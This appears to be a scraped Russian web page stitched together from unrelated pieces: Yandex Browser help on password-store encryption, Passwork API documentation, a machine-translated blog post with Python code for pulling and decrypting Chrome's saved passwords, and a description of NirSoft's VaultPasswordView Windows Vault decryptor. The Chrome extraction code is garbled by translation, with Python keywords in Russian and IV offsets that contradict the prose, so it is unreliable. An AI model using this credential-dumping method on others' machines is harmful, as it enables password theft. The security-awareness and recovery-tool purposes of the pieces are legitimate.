Шифрование без мастер-пароля — Браузер. Справка

Этот вариант защиты менее надежен, чем шифрование с мастер-паролем. Хранилище паролей шифруется ключом, который хранится на компьютере и защищается средствами операционной системы. Получив доступ к компьютеру или жесткому диску, хакеры могут украсть и расшифровать пароли.

  1. Процедура шифрования без мастер-пароля
  2. Уязвимости шифрования без мастер-пароля
  3. Синхронизация паролей

Если пользователь не создал мастер-пароль, шифрование паролей в браузере проходит следующие этапы:

  1. Браузер генерирует случайный ключ Ключ, зашифровывающий хранилище паролей. «}}»> длиной 256 бит.

  2. С помощью этого ключа браузер зашифровывает пароли от сайтов, используя алгоритм AES-256 в режиме GСM. Режим GCM в ходе шифрования включается для того, чтобы обеспечить целостность данных при последующей синхронизации. Через GCM хешируются и валидируются URL, логин и разметка полей.

  3. Ключ Ключ, зашифровывающий хранилище паролей.

    «}}»> шифруется встроенной в браузер функцией OSCrypt и в таком виде хранится на компьютере. Функция OSCrypt использует разные алгоритмы шифрования в зависимости от операционной системы (см. таблицу).

«}}»> с помощью алгоритма AES-256 (Windows 7) или 3DES (Windows XP, Vista). Ключ, с помощью которого зашифрован Ключ, зашифровывающий хранилище паролей. «}}»>, хранится в профиле пользователя в ОС.
Операционная системаШифрование EncKey
WindowsВызывается функция CryptProtectData/CryptUnprotectData, которая шифрует Ключ, зашифровывающий хранилище паролей.
macOSИспользуется алгоритм шифрования AES-128-CBC. Ключ шифрования хранится в защищенном хранилище Keychain.
LinuxИспользуется алгоритм шифрования AES-128-CBC. Ключ шифрования хранится в защищенном хранилище KeyStorage.
Пример 1. Шифрование ключа EncKey в Windows без мастер-пароля

Исходный ключ шифрования паролей Ключ, зашифровывающий хранилище паролей. «}}»>:

Mh6lu1xRuZFo/qJ2yktfJch3nAzlgY4+OPADyLQYfrkbR0hxae9M5nVdafthJa2QHG18sZbf2VOxveH87naRb3vq3oJykfxlVHX4bllYDCcLISzHZVnxF2yMM0r4BXl8Uq+nuINiWx8kaKtrULrdwnMGU6eOuOLZvv/wLDzQvz74iuQUgoR3NSpOByFnY/BkAmGWbQ5KXTYqqIcrcqkG1xb3EAQGEG8KGPtQsTvLsHL1QdjteMZ9CBBLAWjYd/kdrZsx+MU96XMEA+ViBU0ot35cAPVBeWgAyMZhvM9sYy4zB2HrCg+n14kSc85OjNEqAChQDeHVtcbBfyshnKB0Qg==

Ключ, с помощью которого зашифровывается Ключ, зашифровывающий хранилище паролей. «}}»>, генерируется функцией

CryptProtectData и располагается в каталоге:

C:\Пользователи\Имя вашей учетной записи\AppData\Roaming\Microsoft\Protect

Ключ EncKey* (в base64), зашифрованный ключом, который сгенерировала функция CryptProtectData:

AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAApRUs2Bmwq0O4LpCRrIGKQAAAAAACAAAAAAADZgAAwAAAABAAAAAttmGwtWQIgR+ugd6cMwB1AAAAAASAAACgAAAAEAAAAKXn3AtX945aXjv2nFEYf6soAAAAFoZEF0y2DY4+JtCPwkZb68tXEHiZHMPRhJIrMzQA+QF6E6iJBGZD+RQAAAAnmL25O/Rbm8JaMS9cwZZAWtjEGA==

Когда пользователь хочет вставить пароль в форму авторизации, браузер расшифровывает Ключ, зашифровывающий хранилище паролей.

«}}»> средствами операционной системы, а затем расшифровывает нужный пароль.

  • В Windows любая программа (в том числе вредоносная) может попросить операционную систему расшифровать Ключ, зашифровывающий хранилище паролей. «}}»> и таким образом получить доступ к паролям.

  • Ключ шифрования хранится на компьютере. Получив доступ к компьютеру или жесткому диску, злоумышленники могут украсть ключ. Если они получат ключ, то легко смогут расшифровать Ключ, зашифровывающий хранилище паролей. «}}»> и ваши пароли.

  • На разных компьютерах используются разные функции шифрования паролей, поэтому в процессе синхронизации пароли отправляются на сервера Яндекса в расшифрованном виде.

  • На серверах Яндекса пароли хранятся, зашифрованные ключом, который так же хранится на сервере Яндекса. Это небезопасно.

При синхронизации хранилища, не защищенного мастер-паролем, на сервер отправляется хранилище паролей от сайтов в расшифрованном виде. Поскольку ключ Ключ, зашифровывающий хранилище паролей. «}}»> шифруется с помощью разных алгоритмов на различных ОС компьютера, расшифровывать их приходится тоже средствами ОС перед синхронизацией.

На серверах Яндекса все пароли шифруются с помощью ключа, созданного на основе пароля от Яндекс ID пользователя и в таком виде хранятся на серверах. Поскольку ключ шифрования также хранится на сервере Яндекса, этот способ является менее безопасным, чем синхронизация хранилища, защищенного мастер-паролем.

Перед тем как переслать пароли на другие устройства пользователей, они расшифровываются на сервере, а на самом устройстве шифруются по алгоритму AES-256-GCM с заново сгенерированным ключом Ключ, зашифровывающий хранилище паролей. «}}»> и в таком виде хранятся на устройстве. Ключ Ключ, зашифровывающий хранилище паролей. «}}»> шифруется, используемый алгоритм шифрования и место хранения ключа зависят от ОС устройства.

Написать в службу поддержки

API

API предоставляет доступ к основным возможностям Passwork и позволяет интегрировать Passwork в свою инфраструктуру или разработать собственный клиент.

Общие положения

  1. Данные отправляются используя HTTP POST запросы
  2. Методы API находятся по адресе https://passwork.me/api2/
  3. Данные возвращаются в формате JSON
  4. Рекомендуется использовать защищенное SSL соединение
Библиотеки

  1. Javascript API Connector
  2. .Net API Connector
Ответ сервера

{
    'response' : { ... }, // ответ
    'errorCode' : '...', // код ошибки
    'errorMessage' : '...', // текст ошибки
}
                    

В случае ошибки response — false.

Далее будут приводится примеры поля response.

Авторизация

/api2/openSession

Создание сессии. Возвращает код сессии, который надо передавать в каждом запросе. Сессия автоматически истекает каждые несколько минут.

Параметры:

email
E-mail (логин) пользователя

password
Пароль авторизации пользователя

Ответ сервера:

Успешная авторизация

{
    'code' : '. ..', // код сессии
    'hash' : '...'  // md5-хеш секретного слова (мастер пароля)
}
                    

Поле сode потребуется указывать в каждом последующем запросе к API.
Поле hash требуется для того, чтобы клиент смог определить корректность секретного слова.


Ошибки:

response = false

Возвращается в случае неверного логина или пароля.

errorCode = ban

В случае бана, если бы совершено несколько неудачных попыток авторизации.

Получение данных

/api2/getData

Получает все пароли пользователя

Параметры:

session
Код сессии

Ответ сервера:

Данные

{
    'user' : '...', // id пользователя
    'groups' : [{  // массив сейфов
        'id' : '...', // id сейфа
        'name' : '...', // название сейфа
        'passwordCrypted' : '.
..', // зашифрованный пароль сейфа 'folders' :[{ // массив папок сейфа 'id' : '...', // id папки 'name' : '...', // название папки 'passwords' : [{ // массив паролей 'id' : '...', // id пароля 'categoryId' : '...', // id папки 'groupId' : '...', // id сейфа, 'name' : '...', // название пароля 'login' : '...', // логин пароля 'url', : '...', 'description' : '...', 'cryptedPassword' : '...', // зашифрованный пароль }] }] }], 'passwords' : [{ // массив паролей 'id' : '...', // id пароля 'categoryId' : '...', // id папки 'groupId' : '...', // id сейфа, 'name' : '...', // название пароля 'login' : '...', // логин пароля 'url', : '...', 'description' : '...', 'cryptedPassword' : '...
', // зашифрованный пароль }] }] }

Ошибки:
{
    'response' : false,
    'errorCode' : 'expired',
    'errorMessage' : 'Session expired'
}
                    

Сессия истекла. Требуется открытие новой сессии через метод openSession.

Изменение и добавление данных

Эти API функции находятся в стадии тестирования и скоро будут опубликованы.

Пример получения данных

  1. Открыть сессию используя openSession
  2. Загрузить данные используя getData
  3. Запросить у пользователя секретное слово
  4. Используя секретное слово расшифровать пароль сейфа groups[X].passwordCrypted
  5. Используя пароль сейфа расшифровать данные groups[X].folders[Y].passwords[Z].cryptedPassword

Как расшифровать пароль Chrome с помощью Python? | от Yicong

4 минуты чтения

·

5 января 2021 г.

Как вы думаете, безопасно ли хранить пароль в Chrome? Короткий ответ: «нет» . Любой злоумышленник, имеющий доступ к вашему ноутбуку, может расшифровать весь ваш пароль за считанные секунды.

За удобство приходится платить

Бесспорно, сохранение пароля в Chrome удобно. Это поможет вам автоматически войти на ваш сайт, гарантируя, что ваш пароль будет зашифрован. Единственный способ для преступников получить доступ к вашему зашифрованному паролю веб-сайта — это знать имя пользователя и пароль вашего ноутбука.

Ввод имени пользователя и пароля в окно входа в Windows для расшифровки пароля веб-сайта

Ложное чувство безопасности

Честно говоря, приглашение входа в Windows — слабая функция безопасности. Вы когда-нибудь задумывались, как Chrome автоматически заполняет поля пароля без запроса? Это связано с тем, что Chrome сохранил ваши пароли в другом месте приложения.

Следует отметить, что они не сохранялись в защищенном месте.

Существует четыре основных шага для расшифровки паролей Chrome

  1. Найти ключ шифрования
  2. Найти зашифрованные пароли
  3. Понять криптографию AES
  4. Расшифровать сохраненные пароли

Шаг 1: Найти ключ шифрования JSON-файл, который может можно найти в следующем месте на вашем ПК с Windows.

 C:\Users\<Имя ПК>\AppData\Local\Google\Chrome\User Data\Local State 

После открытия файла найдите слово «encrypted_key», как показано на рисунке ниже:

С помощью редактора блокнота вы можете легко найти зашифрованный ключ

Вуаля! Вы нашли ключ для расшифровки сохраненного пароля.

Шаг 2: Найдите зашифрованные пароли

Зашифрованный пароль хранится в базе данных SQLite, которую можно найти в следующем месте на вашем ПК с Windows

 C:\Users\<Имя ПК>\AppData\Local\Google\ Chrome\User Data\Default\Login Data 

Чтобы извлечь зашифрованный пароль, вам необходимо подключение к базе данных SQLite3. Запустите следующий код, чтобы извлечь его.

 #Chrome путь к файлу имени пользователя и пароля 
chrome_path_login_db = "C:\Users\ <имя ПК> \AppData\Local\Google\Chrome\User Data\Default\Login Data"
Shutil.copy2(chrome_path_login_db, "Loginvault .db") #Подключиться к базе данных sqlite
sqlite3.connect("Loginvault.db")
cursor = conn.cursor()#Выберите оператор для получения информации
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
для индекса, логин в enumerate(cursor.fetchall()):
url = логин[0]
имя пользователя = логин[1]
зашифрованный текст= логин[2]
print("Url:",url)
print("Имя пользователя",имя пользователя)
print("Зашифрованный текст", зашифрованный текст)

После выполнения кода вы сможете получить три важные части информации:

  1. URL-адрес
  2. Имя пользователя
  3. Зашифрованный текст

В зашифрованном тексте он содержит две важные подинформации, необходимые для дешифрования AES: 9000 3

  1. Вектор инициализации
  2. Зашифрованные пароли

Вектор инициализации хранится между символами с 4 по 20, а зашифрованный пароль хранится между символами с 21 по N-16 (т. е. общее количество символов минус 16).

Расположение вектора инициализации и зашифрованного пароля

Шаг 3. Понимание криптографии AES

Чтобы расшифровать пароль, нам нужно сначала понять криптографию AES, которая представляет собой алгоритм симметричного ключа, используемый Chrome для шифрования и расшифровки паролей.

AES использует ключ шифрования и выполняет сложные математические операции со строками (например, сложение, вычитание, смешивание и сдвиг) для шифрования пароля.

Для повышения безопасности может быть добавлен вектор инициализации (случайная строка данных), что усложнит взлом пароля злоумышленником, поскольку ему необходимо найти как ключ шифрования, так и вектор инициализации для выполнения криптографии AES.

Ниже приведена блок-схема, показывающая механизм шифрования AES:

Диаграмма потока шифрования AES

После AES зашифрованный ключ хранится в локальном файле состояния , , а зашифрованный пароль объединяется с вектором инициализации и сохраняется в базе данных SQLite3 в виде зашифрованного текста.

Места хранения зашифрованных ключей и зашифрованных текстов

Шаг 4: Расшифруйте сохраненные пароли

Зная, что AES — это криптография с симметричным ключом, в которой используется один и тот же ключ как для шифрования, так и для дешифрования. Мы можем использовать зашифрованный ключ и вектор инициализации, которые мы обнаружили, для расшифровки паролей с помощью криптографии AES.

 #Шаг 1: Извлечение вектора инициализации из зашифрованного текста 
initialization_vector = ciphertext[3:15]#Шаг 2: Извлечение зашифрованного пароля из зашифрованного текста пароль
cipher = AES.new(secret_key, AES.MODE_GCM, initialization_vector)
decrypted_pass = cipher.decrypt(encrypted_password)
decrypted_pass = decrypted_pass.decode()#Шаг 4: Расшифрованный пароль
print(decrypted_pass)

Результаты

После выполнения кода вы сможете получить URL, имя пользователя и пароль из Chrome.

Результаты после выполнения кода

Учебные материалы

Для получения полного кода посетите: https://github. com/ohyicong/decrypt-chrome-passwords

Чтобы узнать, как расшифровать пароль Firefox, посетите: https://ohyicong .medium.com/how-to-hack-firefox-passwords-with-python-a394abf18016

Отказ от ответственности

Я делюсь этим знанием, чтобы повысить осведомленность об этой уязвимости и показать, как легко ею можно воспользоваться. Вы не должны использовать этот инструмент на неавторизованных устройствах. Ваше здоровье!

VaultPasswordView — расшифровка паролей хранилища Windows

 
VaultPasswordView v1.11
Copyright (c) 2016 — 2021 Нир Софер
См. также
  • CredentialsFileView — Расшифровка файлов учетных данных Windows
Описание
VaultPasswordView — это простой инструмент для Windows 11/10/8/7, который расшифровывает и отображает пароли и другие данные, хранящиеся в «Windows Vault». Вы можете использовать его для расшифровки данных Windows Vault вашей текущей работающей системы, а также данных Windows Vault, хранящихся на внешнем жестком диске.
История версий
  • Версия 1.11:
    • Исправлена ​​ошибка, из-за которой функция внешнего диска работала правильно, если вы входите в систему с учетной записью Microsoft.
    • Имейте в виду, что для расшифровки информации Windows Vault, созданной при входе в систему с учетной записью Microsoft, вы должны указать сгенерированный случайный пароль DPAPI. для вашей учетной записи Microsoft вместо фактического пароля для входа. Вы можете найти этот пароль DPAPI с помощью инструмента MadPassExt.
  • Версия 1.10:
    • Добавлен новый параметр: «Расшифровать файлы хранилища всех вошедших в систему пользователей». Эта новая опция позволяет вам расшифровывать файлы Windows Vault пользователя, не являющегося администратором, без ввода пароля, если пользователь уже вошел в вашу систему.
  • Версия 1.08:
    • Несколько пользователей сообщили об ошибке «Недопустимый файл ключа в папке защиты». Сообщение об ошибке было неверным, и теперь оно отображается как «Неверный ключ в файле политики». Кроме того, в это сообщение об ошибке добавлена ​​отладочная информация, чтобы выяснить причину этой ошибки.
  • Версия 1.07:
    • Исправлена ​​ошибка: когда VaultPasswordView не мог найти какие-либо данные в хранилище Windows, отображалось неправильное сообщение — «Не удается найти файл Policy.vpol в папке хранилища» вместо «Не удается найти файл .vcrd в папке хранилища».
  • Версия 1.06:
    • Исправлена ​​нижняя панель для переключения фокуса при нажатии клавиши табуляции.
  • Версия 1.05:
    • VaultPasswordView теперь позволяет расшифровывать данные текущего пользователя, хранящиеся в хранилище Windows Vault, без ввода пароля для входа и другой информации. Для этой функции требуется повышение прав (запуск от имени администратора), а в 64-разрядных системах необходимо использовать 64-разрядную версию VaultPasswordView.
  • Версия 1.01:
    • Исправлена ​​ошибка: VaultPasswordView неправильно определял папку профиля пользователя.
  • Версия 1.00 — первый выпуск.
Системные требования
  • Эта утилита работает на любой версии Windows, начиная с Windows 7 и до Windows 11. Поддерживаются как 32-битные, так и 64-битные системы. Имейте в виду, что этот инструмент не очень полезен в Windows 7, просто потому что Microsoft начала использовать хранилище Windows для хранения IE и почтовых паролей Windows только с Windows 8.
  • Вы также можете использовать этот инструмент в Windows XP с пакетом обновления 3 (SP3) для расшифровки хранилища Windows на внешнем диске с Windows 11/10/8/7.

Пароли и данные, хранящиеся в хранилище Windows
  • Пароли Internet Explorer 10.0/11.0 и Microsoft Edge под управлением Windows 8 или более поздней версии. (Имейте в виду, что IE10/IE11 в Windows 7 не использует хранилище Windows для хранения паролей).
  • Информация для входа в приложение Windows Mail (Windows 8 или более поздняя версия).
Расположение хранилища Windows
Файлы хранилища Windows хранятся в следующих папках:
  • C:\Users\[Профиль пользователя]\AppData\Local\Microsoft\Vault
  • C:\ProgramData\Microsoft\Vault
  • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault
Внутри этих папок хранилища есть имя файла Policy.vpol, которое содержит ключ шифрования. Ключ шифрования используется для расшифровки файлов .vcrd в той же папке хранилища.
Уведомление для пользователей Windows 7
Термин «Хранилище Windows» несколько сбивает с толку, поскольку пароли, отображаемые Windows 7 как Хранилище Windows, на самом деле хранятся в файлах учетных данных. Поэтому, если у вас Windows 7 и вы хотите восстановить пароли, перечисленные в окне «Хранилище Windows», вам следует использовать следующие инструменты: Восстановление сетевого пароля или Учетные данныеFileView
Начать использовать VaultPasswordView
VaultPasswordView не требует установки или дополнительных DLL-файлов. Для того, чтобы начать им пользоваться, просто запустите исполняемый файл — VaultPasswordView.exe

После запуска VaultPasswordView отображается окно «Параметры расшифровки хранилища». VaultPasswordView автоматически заполняет правильные папки вашей текущей работающей системы и текущего пользователя, вошедшего в систему. Единственное поле, которое вы должны заполнить самостоятельно, это «Пароль для входа в Windows». Пароль для входа необходим для расшифровки файлов хранилища Windows.
Вы также можете расшифровать данные хранилища Windows текущего пользователя, вошедшего в систему, без ввода пароля для входа, если вы выберете Параметр «Расшифровать файлы хранилища текущего пользователя» в верхнем поле со списком. Для этой функции требуется повышение прав (запуск от имени администратора), а также вы должны использовать 64-разрядную сборку VaultPasswordView, если у вас 64-разрядная версия Windows.

Если у вас есть несколько зарегистрированных пользователей (например: пользователь без прав администратора, которому принадлежат данные хранилища, которые вы хотите расшифровать, и Администратор, которого вы используете для повышения прав VaultPasswordView), вам следует выбрать параметр «Расшифровать файлы хранилища всех вошедших в систему пользователей».

Если вы хотите расшифровать файлы хранилища Windows на внешнем диске, вы можете вручную заполнить нужные папки на внешнем диске или, в качестве альтернативы, вы можете выберите корневую папку вашего внешнего диска, а затем нажмите кнопку «Автоматическое заполнение».

После нажатия кнопки «ОК» в окне «Параметры расшифровки хранилища» VaultPasswordView сканирует файлы внутри папок хранилища, расшифровывает их, а затем отображает результат в главном окне. В верхней части главного окна отображается список всех расшифрованных файлов .vcrd. При выборе элемента в верхней панели нижняя панель отображает все расшифрованные данные в формате Hex-Dump. Если расшифрованные данные содержат пароль или другой текст, этот текст также отображается в столбце «Значение элемента» на верхней панели.

Запуск от имени администратора
По умолчанию VaultPasswordView не запрашивает повышение прав (запуск от имени администратора) при запуске. Однако если у вас есть файлы хранилища, зашифрованные с помощью системного ключа, вам необходимо запустить VaultPasswordView от имени администратора, чтобы расшифровать эти файлы хранилища. Вы можете запустить VaultPasswordView от имени администратора, нажав Ctrl+F11.
Перевод VaultPasswordView на другие языки
Чтобы перевести VaultPasswordView на другой язык, следуйте приведенным ниже инструкциям:
  1. Запустите VaultPasswordView с параметром /savelangfile:
    VaultPasswordView.exe /savelangfile
    В папке утилиты VaultPasswordView будет создан файл с именем VaultPasswordView_lng.ini.
  2. Откройте созданный языковой файл в Блокноте или любом другом текстовом редакторе.
  3. Перевести все строковые записи на нужный язык. При желании вы также можете добавить свое имя и/или ссылку на свой веб-сайт. (значения TranslatorName и TranslatorURL) Если вы добавите эту информацию, она будет используется в окне «О программе».
  4. После завершения перевода запустите VaultPasswordView, и все переведенные строки будут загружены из языкового файла.
    Если вы хотите запустить VaultPasswordView без перевода, просто переименуйте языковой файл или переместите его в другую папку.
Лицензия
Эта утилита распространяется бесплатно. Вам разрешено свободно распространять эту утилиту на дискетах, CD-ROM, Интернет или любым другим способом, если вы ничего за это не берете и не продавать или распространять как часть коммерческого продукта. Если вы распространяете эту утилиту, вы должны включить все файлы в дистрибутив, без каких-либо модификаций!
Отказ от ответственности
Программное обеспечение предоставляется «КАК ЕСТЬ» без каких-либо явных или подразумеваемых гарантий, включая, но не ограничиваясь, подразумеваемые гарантии товарного состояния и пригодности для определенной цели. Автор не несет ответственности за какие-либо особые, случайные, косвенный или косвенный ущерб из-за потери данных или по любой другой причине.
Обратная связь
Если у вас есть проблема, предложение, комментарий или вы нашли ошибку в моей утилите, вы можете отправить сообщение на [email protected]
Скачать VaultPasswordView (32-разрядная версия)
Скачать VaultPasswordView (64-разрядная версия)

VaultPasswordView также доступен на других языках. Для того, чтобы изменить язык VaultPasswordView, загрузите zip-файл соответствующего языка, извлеките «vaultpasswordview_lng.ini», и поместите его в ту же папку, в которой установлена ​​утилита VaultPasswordView.

901 60 Голландский
Арабский Аммар Курд 02.07.2019 1.08
Бразильский португальский igorruckert 25/09/2016 1,00
Ян Верхейен 27.12.2021 1.11
Французский Ларго 30.09.2018 1.08
Немецкий «Латиноамериканец» на WinTotal 29.12.2021 1.11
Греческий geogeo.gr 28.07.2017 1.06
Венгерский Тиминоун 12.12.2022 1.11 90 157
Итальянский Андреа Карли и Р.Б. 01.06.2022 1.11
Персидский ДиноТехно 19.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *